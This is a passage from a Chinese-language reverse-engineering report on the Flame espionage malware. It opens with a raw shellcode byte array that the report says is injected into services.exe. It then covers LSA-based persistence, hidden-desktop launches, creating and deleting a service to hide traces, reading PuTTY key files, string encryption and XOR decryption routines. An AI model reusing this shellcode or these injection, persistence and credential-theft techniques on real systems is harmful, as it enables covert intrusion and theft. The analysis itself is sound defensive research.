0xC9,0x39,0x5D,0xD0,0x0F,0x95,0xC1,0x8D,0x4C,0x09,0x02,0x8B,0x50,0x08,0x8B,0x40,
      
0x0C,0x03,0x45,0xF4,0x89,0x55,0xB4,0x8D,0x55,0xC4,0x52,0x51,0xFF,0x75,0xB4,0x50,
      
0xFF,0x56,0x0C,0x85,0xC0,0x74,0x28,0xFF,0x45,0x08,0x66,0x8B,0x45,0x08,0x66,0x3B,
      
0x47,0x06,0x0F,0x82,0x46,0xFF,0xFF,0xFF,0x8B,0x7F,0x28,0x03,0x7D,0xF4,0x89,0x7D,
      
0xE0,0x75,0x18,0xC7,0x45,0xF0,0x12,0x00,0xFF,0xFF,0xE9,0x0C,0x02,0x00,0x00,0xC7,
      
0x45,0xF0,0x11,0x00,0xFF,0xFF,0xE9,0x00,0x02,0x00,0x00,0xFF,0xB6,0x1C,0x09,0x00,
      
0x00,0x33,0xFF,0x47,0x57,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0x3B,0xC7,0x74,0x14,0x53,
      
0x53,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0xC7,0x45,0xF0,0x13,0x00,0xFF,0xFF,0xE9,0xD8,
      
0x01,0x00,0x00,0x8D,0x86,0x6A,0x02,0x00,0x00,0x50,0x53,0x8D,0x45,0xA8,0x50,0x89,
      
0x7D,0xBC,0xFF,0x56,0x44,0x3B,0xC3,0x89,0x45,0xE8,0x75,0x0C,0xC7,0x45,0xF0,0x14,
      
0x00,0xFF,0xFF,0xE9,0xB3,0x01,0x00,0x00,0x6A,0xFF,0x50,0xFF,0x56,0x48,0x85,0xC0,
      
0x74,0x0C,0xC7,0x45,0xF0,0x15,0x00,0xFF,0xFF,0xE9,0x9D,0x01,0x00,0x00,0x8D,0x46,
      
0x60,0x50,0x53,0x68,0x1F,0x00,0x0F,0x00,0xC6,0x45,0xFB,0x01,0xFF,0x56,0x2C,0x3B,
      
0xC3,0x89,0x45,0xE4,0xC6,0x45,0x0B,0x00,0xBF,0x08,0x55,0x00,0x00,0x75,0x28,0x8D,
      
0x46,0x60,0x50,0x57,0x53,0x6A,0x04,0x8D,0x45,0xA8,0x50,0x6A,0xFF,0xC6,0x45,0x0B,
      
0x01,0xFF,0x56,0x28,0x3B,0xC3,0x89,0x45,0xE4,0x75,0x0C,0xC7,0x45,0xF0,0x16,0x00,
      
0xFF,0xFF,0xE9,0x54,0x01,0x00,0x00,0x57,0x53,0x53,0x6A,0x02,0xFF,0x75,0xE4,0xFF,
      
0x56,0x30,0x3B,0xC3,0x89,0x45,0xEC,0x75,0x0C,0xC7,0x45,0xF0,0x17,0x00,0xFF,0xFF,
      
0xE9,0x36,0x01,0x00,0x00,0x80,0x7D,0x0B,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x57,
      
0x53,0xFF,0x75,0xEC,0xFF,0x56,0x24,0x83,0xC4,0x0C,0x89,0x5D,0xD0,0x8D,0xBE,0xFA,
      
0x04,0x00,0x00,0x57,0xFF,0x56,0x14,0x3B,0xC3,0x89,0x45,0xB4,0x74,0x3B,0xFF,0x45,
      
0xD0,0x83,0x7D,0xD0,0x05,0x7C,0xEC,0x53,0x6A,0x18,0x8D,0x45,0x90,0x50,0x53,0x6A,
      
0xFF,0xFF,0x56,0x3C,0x3D,0x00,0x00,0x00,0xC0,0x72,0x2A,0x53,0x6A,0x18,0x8D,0x45,
      
0x90,0x50,0x53,0x6A,0xFF,0xFF,0x56,0x3C,0x83,0xF8,0xFF,0x77,0x18,0xC7,0x45,0xF0,
      
0x19,0x00,0xFF,0xFF,0xE9,0xD2,0x00,0x00,0x00,0xC7,0x45,0xF0,0x18,0x00,0xFF,0xFF,
      
0xE9,0xC6,0x00,0x00,0x00,0x8B,0x45,0x94,0x8B,0x40,0x0C,0x83,0xC0,0x0C,0x8B,0x38,
      
0xEB,0x0A,0x8B,0x4F,0x18,0x3B,0x4D,0xB4,0x74,0x08,0x8B,0x3F,0x3B,0xF8,0x75,0xF2,
      
0xEB,0x68,0x8B,0x47,0x1C,0x8B,0x4D,0xEC,0x89,0x41,0x04,0x8B,0x86,0x18,0x09,0x00,
      
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x83,0xC0,0x14,0x50,0x53,0xFF,0x56,0x04,
      
0x3B,0xC3,0x75,0x09,0xC7,0x45,0xF0,0x1A,0x00,0xFF,0xFF,0xEB,0x7E,0x8B,0x4E,0x20,
      
0x89,0x48,0x10,0x8B,0x4E,0x38,0x89,0x48,0x0C,0x8B,0x4E,0x48,0x89,0x48,0x08,0x8B,
      
0x4D,0xEC,0xC7,0x00,0xBA,0xBA,0x0D,0xF0,0x89,0x48,0x04,0xFF,0xB6,0x18,0x09,0x00,
      
0x00,0x83,0xC0,0x14,0xFF,0xB6,0x14,0x09,0x00,0x00,0x89,0x45,0xB4,0x50,0xFF,0x56,
      
0x20,0x8B,0x45,0xB4,0x83,0xC4,0x0C,0x89,0x47,0x1C,0x8B,0x45,0xEC,0x39,0x58,0x04,
      
0x75,0x09,0xC7,0x45,0xF0,0x1B,0x00,0xFF,0xFF,0xEB,0x30,0x8B,0x4D,0xE8,0x89,0x08,
      
0x8B,0x4D,0xEC,0x33,0xC0,0x33,0xD2,0x83,0xC1,0x08,0x3B,0xC3,0x75,0x26,0x39,0x19,
      
0x75,0x02,0x8B,0xC1,0x42,0x81,0xC1,0x20,0x02,0x00,0x00,0x83,0xFA,0x28,0x72,0xEA,
      
0x3B,0xC3,0x75,0x10,0xC7,0x45,0xF0,0x1C,0x00,0xFF,0xFF,0x8B,0x7D,0xF4,0xC6,0x45,
      
0xFA,0x01,0xEB,0x5F,0x8B,0x4D,0xE0,0x8B,0x7D,0xF4,0x89,0x48,0x04,0x89,0x38,0xC7,
      
0x40,0x08,0x01,0x00,0x00,0x00,0x8B,0x8E,0x1C,0x09,0x00,0x00,0x89,0x48,0x0C,0x8A,
      
0x8E,0x20,0x09,0x00,0x00,0x88,0x48,0x10,0x8B,0x8E,0x10,0x09,0x00,0x00,0x89,0x88,
      
0x1C,0x02,0x00,0x00,0x68,0x0A,0x02,0x00,0x00,0x8D,0x8E,0x04,0x07,0x00,0x00,0x51,
      
0x83,0xC0,0x12,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0x80,0x7D,0x0B,0x00,0x74,0x13,
      
0xFF,0x75,0xE8,0x89,0x5D,0xEC,0x89,0x5D,0xE4,0xFF,0x56,0x38,0xC6,0x45,0xFB,0x00,
      
0x89,0x5D,0xE8,0x39,0x5D,0xEC,0x74,0x06,0xFF,0x75,0xEC,0xFF,0x56,0x34,0x39,0x5D,
      
0xE4,0x74,0x06,0xFF,0x75,0xE4,0xFF,0x56,0x4C,0x80,0x7D,0xFB,0x00,0x74,0x06,0xFF,
      
0x75,0xE8,0xFF,0x56,0x38,0x39,0x5D,0xE8,0x74,0x06,0xFF,0x75,0xE8,0xFF,0x56,0x4C,
      
0xFF,0x75,0xC0,0xFF,0x56,0x54,0x39,0x5D,0xDC,0x74,0x06,0xFF,0x75,0xDC,0xFF,0x56,
      
0x5C,0x80,0x7D,0xFA,0x00,0xB8,0x1E,0x00,0xFF,0xFF,0x74,0x2C,0x39,0x5D,0xBC,0x74,
      
0x0B,0x39,0x5D,0xE0,0x74,0x06,0x53,0x53,0x57,0xFF,0x55,0xE0,0x80,0xBE,0x20,0x09,
      
0x00,0x00,0x00,0x74,0x06,0x57,0xFF,0x56,0x34,0xEB,0x0A,0x68,0x00,0x80,0x00,0x00,
      
0x53,0x57,0xFF,0x56,0x08,0x8B,0x45,0xF0,0x89,0xBE,0x2C,0x0B,0x00,0x00,0xEB,0x05,
      
0xB8,0x05,0x00,0xFF,0xFF,0x5F,0x5E,0x5B,0xC9,0xC2,0x04,0x00,0x68
  
第三次接着上面的Shell  Code地址顺序写入: 
  写入数据为,长度为4
  0x00,0x00,0x00,0x00
  第四次接着上面的Shell  Code地址顺序写入: 
  Shell Code如下文件,长度为:0x5e2330
  最后恶意代码通过函数CreateRemoteThread函数来创建远程线程,执行刚才写入到Services.exe进程中的Shell code。 
  发现对注册表进行操作: 
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows  NT\CurrentVersion\SeCEdit
- 疑似组策略键值
 
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation
- StandardSize,修改标准时间
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU:(ahyy)
  键值: 类型: REG_BINARY 长度:16 (0x10) 字节 s
  05 00 00 00 06 00 00 00 20 3E 44 29 E3 54  CD 01  |   ........ >D)鉚?
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11
  键值: 类型: REG_BINARY 长度:56 (0x38) 字节 s
  000000: 36 00 31 00 00 00 00 00 C8 40 0A 0F  10 00 66 6C  |  6.1.....菮....fl
  000010: 61 6D 65 00 22 00 03 00 04 00 EF BE  DC 40 EF 1C  |  ame.".....锞蹳?
  000020: DC 40 18 1D 14 00 00 00 66 00 6C 00  61 00 6D 00  |  蹳......f.l.a.m.
  000030: 65 00 00 00 14 00 00 00                          |  e.......
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0
  键值: 类型: REG_BINARY 长度:78 (0x4e) 字节 s
  000000: 4C 00 31 00 00 00 00 00 C7 40 EA 39  10 00 6D 73  |  L.1.....茾?..ms
  000010: 73 65 63 6D 67 72 2E 6F 63 78 00 00  30 00 03 00  |  secmgr.ocx..0...
  000020: 04 00 EF BE DC 40 F5 1C DC 40 09 1D  14 00 00 00  |  ..锞蹳?蹳......
  000030: 6D 00 73 00 73 00 65 00 63 00 6D 00  67 00 72 00  |  m.s.s.e.c.m.g.r.
  000040: 2E 00 6F 00 63 00 78 00 00 00 1C 00  00 00        |  ..o.c.x.......
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0
  键值: 类型:REG_BINARY 长度:54 (0x36) 字节 s
  000000: 34 00 35 00 00 00 00 00 DC 40 CB 1B  10 00 D8 53  |  4.5.....蹳?..豐 
  000010: CD 79 31 00 00 00 1E 00 03 00 04 00  EF BE DC 40  |  蛓1.........锞蹳 
  000020: F6 1C DC 40 08 1D 14 00 00 00 D8 53  CD 79 31 00  |  ?蹳......豐蛓1.
  000030: 00 00 16 00 00 00                                |  ......
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\MRUListEx
  键值: 类型: REG_BINARY 长度:4 (0x4) 字节 s
  FF FF FF FF                                      |  
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\NodeSlot
  键值: DWORD: 96 (0x60)
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\MRUListEx
  键值: 类型: REG_BINARY 长度: 8 (0x8) 字节 s
  00 00 00 00 FF FF FF FF                          |  ....
  HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\NodeSlot
  键值: DWORD: 95 (0x5f)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\MRUListEx
键值: 类型: REG_BINARY 长度: 8 (0x8) 字节 s
    00 00 00 00 FF FF FF FF                          |  ....
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\NodeSlot
键值: DWORD: 94 (0x5e)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Address
键值: DWORD: 4294967295  (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Buttons
键值: DWORD: 4294967295  (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Col
键值: DWORD: 4294967295  (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\ColInfo
键值: 类型: REG_BINARY 长度: 112 (0x70) 字节 s
    000000: 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00  |  ................
    000010: FD DF DF FD 0F 00 04 00 20 00 10 00  28 00 3C 00  |  啐....  ...(.<.
    000020: 00 00 00 00 01 00 00 00 02 00 00 00  03 00 00 00  |  ................
    000030: B4 00 60 00 78 00 78 00 00 00 00 00  01 00 00 00  |  ?`.x.x......... 
       ...更多...
开机启动: 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Authentication  Packages
新: 类型: REG_MULTI_SZ 长度: 21 (0x15) 字节 s
    6D 73 76 31 5F 30 00 6D 73 73 65 63 6D 67  72 2E  |   msv1_0.mssecmgr.
    6F 63 78 00 00                                   |  ocx..
旧: 类型: REG_MULTI_SZ 长度: 8 (0x8) 字节 s
    6D 73 76 31 5F 30 00 00                          |  msv1_0..
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnEndLocation
新; 字符串: "10675834"
旧; 字符串: "0"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnStartLocation
新: 字符串: "10485101"
旧: 字符串: "0"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeComplete
新: 字符串: "Yes"
旧: 字符串: "No"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeError
新:字符串: " "
旧:字符串: "Missing  Registry Entries"
HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\SeCEdit
HKLM\Software\Microsoft\Internet  Explorer\LowRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option
HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
HKLM\SOFTWARE\Symantec\Norton  AntiVirus
HKLM\SOFTWARE\Symantec\InstalledApps
HKLM\SOFTWARE\KasperskyLab\avp6\settings
HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Winlogon
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet  Settings
HKLM\SOFTWARE\KasperskyLab
HKLM\SOFTWARE\Symantec\SymSetup\Internet  security
HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist
HKLM\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\ProfileList
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
HKLM\SOFTWARE\Symantec\Symantec  AntiVirus
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
HKIU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKLM\Software\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\%s\properties
发现Flame遍历系统中所有顶层窗口,查找类名与窗口名都为”Pageant”的窗口并向其发送消息。经确认Pageant为Putty程序的认证代理工具,可以添加用户私钥,之后第一次登陆服务器时输入密码Pageant会将密码保存,以后则不需要输入密码。 
SendMessageA(  Msg=0x4a,wParam=0x00,lParam=0x804e50ba)
发现Flame恶意代码创建一个桌面,然后创建进程Iexplorer.exe并将其默认桌面设置为新创建的桌面,可能为达到隐藏启动的目的。 
mov     [ebp+StartupInfo.cb], 44h
  
mov     eax, lpszDesktop
      
mov     [ebp+StartupInfo.lpDesktop], eax ; set desktop
  
mov     [ebp+CommandLine], bl
  
mov     esi, 104h
  
push    esi
  
push    ebx
  
lea     eax, [ebp+VersionInformation]
  
push    eax             ;
  pVersionInformation
  
call    0x101A1130
  
add     esp, 0Ch
  
push    esi             ; nSize
  
lea     eax, [ebp+CommandLine]
  
push    eax          ;
  "%ProgramFiles%\Internet Explorer\iexplore.exe"
  
push    environment_strings
  
call    ExpandEnvironmentStringsA
      
cmp     eax, ebx
  
jz      0x100E3157
  
cmp     eax, esi
  
ja      0x100E3157
  
lea     eax, [ebp+ProcessInformation]
  
push    eax             ;
  lpProcessInformation
  
lea     eax, [ebp+StartupInfo]
  
push    eax             ;
  lpStartupInfo
  
push    ebx             ;
  lpCurrentDirectory
  
push    ebx             ;
  lpEnvironment
  
push    4               ;
  dwCreationFlags
  
push    ebx             ;
  bInheritHandles
  
push    ebx             ; lpThreadAttributes
  
push    ebx             ;
  lpProcessAttributes
  
lea     eax, [ebp+CommandLine]
  
push    eax             ;
  lpCommandLine
  
push    ebx             ;
  lpApplicationName
  
call    ds:CreateProcessA
      
分析中发现大量SQL语句,这些语句是操作SQLite数据库中的相关数据。
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
  
  
UPDATE %s SET Grade = (SELECT %d/%d.0*(rowid - 1) FROM st WHERE st.ProdID = %s.ProdID);
  
ELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'  
      
INSERT OR REPLACE INTO Configuration (Name, App, Value) VALUES('%s','%s' ,'%s');
        
  
INSERT OR IGNORE INTO %s (Name,App,Value) Values('STORAGE_LENGTH','%s',0);
        
  
UPDATE sqlite_master SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
  
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
        
  
UPDATE %s SET Value = Value - old.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s';
        
  
UPDATE %s SET Value = Value + 1 WHERE Name = 'STORAGE_LENGTH' AND App = '%s';
        
  
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';  
      
  
UPDATE %s SET Value = Value - 1 WHERE Name = 'STORAGE_LENGTH' AND App = '%s';
        
  
UPDATE %s SET Value = Value + new.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s';
        
  
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
        
  
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
        
  
INSERT OR IGNORE INTO %s (Name,App,Value) Values('STORAGE_SIZE','%s',0);
  
WQL的全称是WMI Query Language,简称为WQL, Windows管理规范查询语言。
    root\  CIMV2
    select  * from Win32_LogicalDisk
    SELECT  * FROM __InstanceOperationEvent WITHIN %d WHERE TargetInstance ISA  'Win32_LogicalDisk'
    select  ProcessID, Name from Win32_Process
\\.\pipe\navssvcs
    \\.\pipe\PipeGx16
    \\.\\pipe\spoolss
  分析过程中发现一些函数存在类似加花的指令,这些指令并不影响程序的任何功能,如下红色部分代码。 
push    ebp
  
mov     ebp, esp
  
push    ebx
  
push    esi
  
push    edi
  
mov     eax, eax
      
push    ebx
      
push    eax
      
pop     eax
      
pop     ebx
      
pusha
  
popa
  
mov     esi, [ebp+8]
  
Flame在单独的线程修改权限,打开并创建服务,加载运行Rdcvlt32.exe程序。
push    edi             ;
  lpPassword
  
push    edi             ;
  lpServiceStartName
  
push    edi             ;
  lpDependencies
  
push    edi             ;
  lpdwTagId
  
push    edi             ;
  lpLoadOrderGroup
  
push    PathName        ; lpBinaryPathName = 
  
;"%windir%\system32\rdcvlt32.exe"
  
push    edi             ;
  dwErrorControl
  
push    3               ;
  dwStartType
  
push    10h             ;
  dwServiceType
  
push    0F01FFh         ;
  dwDesiredAccess
  
push    DisplayName     ; lpDisplayName
  
push    ServiceName     ; lpServiceName
  
push    eax             ; hSCManager
  
call    CreateServiceA
      
cmp     eax, edi
  
并且在创建完服务后直接将其启动,并删除服务,清理掉注册表相关痕迹。
mov     eax, [ebx+4]
  
mov     byte ptr [eax+6], 1
  
call    start_service
      
mov     [ebp-1], al
  
mov     eax, edi
  
call    delete_service
      
cmp     al, 1
  
jnz     0x1011BCD9
  
各个模块字符串的加密部分析
各个模块的加密部分存在很大的相通相同处。采用的算法主要是通过如下方式:

图 3-5加密算法
各个文件采取的算法参数和算式如下:
File name
                  | 
    Param a
                  | 
    Param b
                  | 
    Param c
                  | 
    M
        | 
  
Mssecmgr.ocx
                | 
    0xBh
                | 
    0xBh+0xCh
                | 
    [0x10376F70h]
                | 
    M=(0xBh+n)*(0xBh+0xCh+n)+[0x101376F70h]
                | 
  
Msglu32.ocx
                | 
    0xBh
                | 
    0xBh+0xCh
                | 
    [0x101863ECh]
                | 
    M=(0xBh+n)*(0xBh+0xCh+n)+[0x101863ECh]
                | 
  
Advnetcfg.ocx
                | 
    0x1Ah
                | 
    0x5h
                | 
    0
                | 
    M==(0xAh+n)*(0x5h+n)
                | 
  
Nteps32.ocx
                | 
    0x1Ah
                | 
    0x5h
                | 
    0
                | 
    M==(0xAh+n)*(0x5h+n)
                | 
  
Soapr32.ocx
                | 
    0x11h
                | 
    0xBh
                | 
    0
                | 
    M==(0x11h+n)*(0xbh+n)
                | 
  
Noname.dll
                | 
    0x11h
                | 
    0xBh
                | 
    0
                | 
    M==(0x11h+n)*(0xbh+n)
                | 
  
Jimmy.dll
                | 
    0xBh
                | 
    0xBh+0x6h
                | 
    0x58h
                | 
    M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
        | 
  
Comspol32.ocx
                | 
    0xBh
                | 
    0xBh+0x6h
                | 
    0
                | 
    M=(0xbh+N)*(N+0xbh+0x6h)
        | 
  
Browse32.ocx
                | 
    0xBh
                | 
    0xBh+0xch
                | 
    0
                | 
    M=(0xbh+N)*(N+0xbh+0xch)
        | 
  
发现Flame读取PUTTY创建Key的临时文件内容,可能为破解通讯密钥。 
%Documents and Settings%\Administrator\PUTTY.RND
lea     eax, putty_file_path[eax]
  
push    eax             ;
  lpBuffer
  
push    offset str_HOMEPATH ; decode:"HOMEPATH"
  
call    my_decode_strA  ; decode: "HOMEPATH"
  
pop     ecx
  
push    eax             ;
  lpName
  
call    edi ; GetEnvironmentVariableA
  
test    eax, eax
  
jnz     short 0x10073E35
      
push    esi             ; uSize
  
push    ebx             ;
  lpBuffer
  
call    ds:GetWindowsDirectoryA
      
push    ebx             ; c1
  
call    0x101A1370
      
pop     ecx
  
mov     esi, eax
  
jmp     short 0x10073E3B
      
add     [ebp+var_4], eax
  
mov     esi, [ebp+var_4]
  
push    offset str_PUTTY_RND ; data
  
call    my_decode_strA  ; decode : "\PUTTY.RND"
  
push    eax
  
lea     eax, putty_file_path[esi]
  
push    eax
  
call    0x101A1270  ;  cat path
  
  
push    ebx             ;
  hTemplateFile
  
push    ebx             ;
  dwFlagsAndAttributes
  
push    3               ;
  dwCreationDisposition
  
push    ebx             ;
  lpSecurityAttributes
  
push    3               ;
  dwShareMode
  
push    80000000h       ; dwDesiredAccess
  
push    offset putty_file_path ; lpFileName
  
call    ds:CreateFileA
      
cmp     eax, 0FFFFFFFFh
  
mov     [ebp+hObject], eax
  
jz      short 0x10073EE6
      
push    esi
  
mov     esi, ds:ReadFile    ;read putty.rnd file
  

图 3-6在内存中发现的一些LUA模块名
下面为Lua源文件:
const char *const luaP_opnames[NUM_OPCODES+1] = {
  
  "MOVE",
  
  "LOADK",
  
  "LOADBOOL",
  
  "LOADNIL",
  
  "GETUPVAL",
  
  "GETGLOBAL",
  
  "GETTABLE",
  
  "SETGLOBAL",
  
  "SETUPVAL",
  
  "SETTABLE",
  
  "NEWTABLE",
  
  "SELF",
  
  "ADD",
  
  "SUB",
  
  "MUL",
  
  "DIV",
  
  "MOD",
  
  "POW",
  
  "UNM",
  
  "NOT",
  
  "LEN",
  
  "CONCAT",
  
  "JMP",
  
  "EQ",
  
  "LT",
  
  "LE",
  
  "TEST",
  
  "TESTSET",
  
  "CALL",
  
  "TAILCALL",
  
  "RETURN",
  
  "FORLOOP",
  
  "FORPREP",
  
  "TFORLOOP",
  
  "SETLIST",
  
  "CLOSE",
  
  "CLOSURE",
  
  "VARARG",
  
  NULL
  
};
  
发现内容完全一致,在分析过程中又发现大量Lua代码因此得出恶意代码是静态的将Lua代码编译进程序中的。 
  发现Flame内部包含的Lua代码的版本为Lua 5.1
mov eax,edi
  
call mssecmgr.100B8F0F
      
push mssecmgr.1026195C     ;  ASCII "_G"
  
mov eax,edi
  
call mssecmgr.100B9417
      
pop ecx
  
mov eax,mssecmgr.10261778
      
mov ebx,mssecmgr.10261960  ;  ASCII "_G"
  
mov ecx,esi
  
call mssecmgr.100B9DB3
      
push 0x7
  
push mssecmgr.10261964     ;  ASCII "Lua 5.1"
  
mov eax,esi
  
call mssecmgr.100B9142
      
push mssecmgr.1026196C     ;  ASCII "_VERSION"
  
mov eax,edi
  
call mssecmgr.100B9417
      
add esp,0xC
  
push mssecmgr.100CF1E6
      
push mssecmgr.100CF23B
      
push mssecmgr.10261978     ;  ASCII "ipairs"
  
mov eax,esi
  
call mssecmgr.100CFAE7
      
add esp,0xC
  
push mssecmgr.100CF171
      
push mssecmgr.100CF1B0
      
push mssecmgr.10261980     ;  ASCII "pairs"
  
mov eax,esi
  
call mssecmgr.100CFAE7
      
add esp,0xC
  
push 0x1
  
push 0x0
  
mov eax,esi
  
call mssecmgr.100B932F
      
or eax,-0x1
  
call mssecmgr.100B8F0F
      
push -0x2
  
pop eax
  
call mssecmgr.100B953A
      
push 0x2
  
push mssecmgr.10261988     ;  ASCII "kv"
  
图 3-7 Flame代码
static void base_open (lua_State *L) {
  
  /* set global _G */
  
  lua_pushvalue(L, LUA_GLOBALSINDEX);
  
  lua_setglobal(L, "_G");
  
  /* open lib into
  global table */
  
  luaL_register(L, "_G", base_funcs);
  
  lua_pushliteral(L, LUA_VERSION);  //LUA_VERSION : "Lua 5.1"
      
  lua_setglobal(L, "_VERSION");  /* set global
  _VERSION */
  
  /* `ipairs' and
  `pairs' need auxliliary functions as upvalues */
  
  auxopen(L, "ipairs", luaB_ipairs, ipairsaux);
  
  auxopen(L, "pairs", luaB_pairs, luaB_next);
  
  /* `newproxy' needs
  a weaktable as upvalue */
  
  lua_createtable(L, 0, 1);  /* new table `w' */
  
  lua_pushvalue(L, -1);  /* `w' will be its
  own metatable */
  
  lua_setmetatable(L, -2);
  
  lua_pushliteral(L, "kv");
  
  lua_setfield(L, -2, "__mode");  /*
  metatable(w).__mode = "kv" */
  
  lua_pushcclosure(L, luaB_newproxy, 1);
  
  lua_setglobal(L, "newproxy");  /* set global
  `newproxy' */
  
图 3-8 Lua代码
Flame中包含的结构与Lua5.1一致。
图 3-9Flame中的LUA结构
static const luaL_Reg base_funcs[] = {
  
  {"assert", luaB_assert},
  
  {"collectgarbage", luaB_collectgarbage},
  
  {"dofile", luaB_dofile},
  
  {"error", luaB_error},
  
  {"gcinfo", luaB_gcinfo},
  
  {"getfenv", luaB_getfenv},
  
  {"getmetatable", luaB_getmetatable},
  
  {"loadfile", luaB_loadfile},
  
  {"load", luaB_load},
  
  {"loadstring", luaB_loadstring},
  
  {"next", luaB_next},
  
  {"pcall", luaB_pcall},
  
  {"print", luaB_print},
  
  {"rawequal", luaB_rawequal},
  
  {"rawget", luaB_rawget},
  
  {"rawset", luaB_rawset},
  
  {"select", luaB_select},
  
  {"setfenv", luaB_setfenv},
  
  {"setmetatable", luaB_setmetatable},
  
  {"tonumber", luaB_tonumber},
  
  {"tostring", luaB_tostring},
  
  {"type", luaB_type},
  
  {"unpack", luaB_unpack},
  
  {"xpcall", luaB_xpcall},
  
  {NULL, NULL}
  
};
  
图 3-10Lua 5.1 中的结构
而Lua5.1版本发布的时间为2006年2月21日,Lua 5.2版本发布日期为2011年12月16日。这也间接证明了Flame的开发时间应为2006年2月21日至2011年12月16日之间。 
  同时在分析过程中发现了大量的Lua脚本函数名见附录七(详见附录七为Mssecmgr.ocx文件中使用Lua脚本函数列表内容)可以通过这些函数名来辅助判断Lua脚本功能。 
  在主程序地址10266CE处发现可以被RawDES 算法使用的数组RawDES_Spbox。 
  通过对调用该地址的函数进行分析,确认该程序确实使用了des加密算法。 
  说明如下: 
  通过对调用该地址的函数进行分析。发现调用函数中有16处循环计算表达式。是DES加密算法的明显特征。计算出每个数值后,后面的异或操作也和DES算法的计算方式匹配。 
  对函数的调用,其参数的第三个为加密的密钥。 
  int   0x10084393 (int a1, unsigned int a2, int a3, int a4)
  主模块加载资源到内存,进行简单异或解密,算法代码如下: 
  首先传入DB DF AC  A2 作为文件头,然后对资源逐字节解密。 
  判断当前字节是否是0XA9: 
  如果是,则直接与前一解密后的数据异或,结果为解密后的数据。 
  如果不是,则将EDX赋值为0XA9后,并与EDX异或,得出结果在与前一解密后的数据异或。最后得出的结果为解密后的数据。 
10050898  mov al,byte ptr ds:[esi]
  
1005089A  test al,al
  
1005089C  je short 0x100508A9
  
1005089E  cmp al,0xA9
  
100508A0  je short 0x100508A9
  
100508A2  mov edx,0xA9
  
100508A7  jmp short 0x100508AB
  
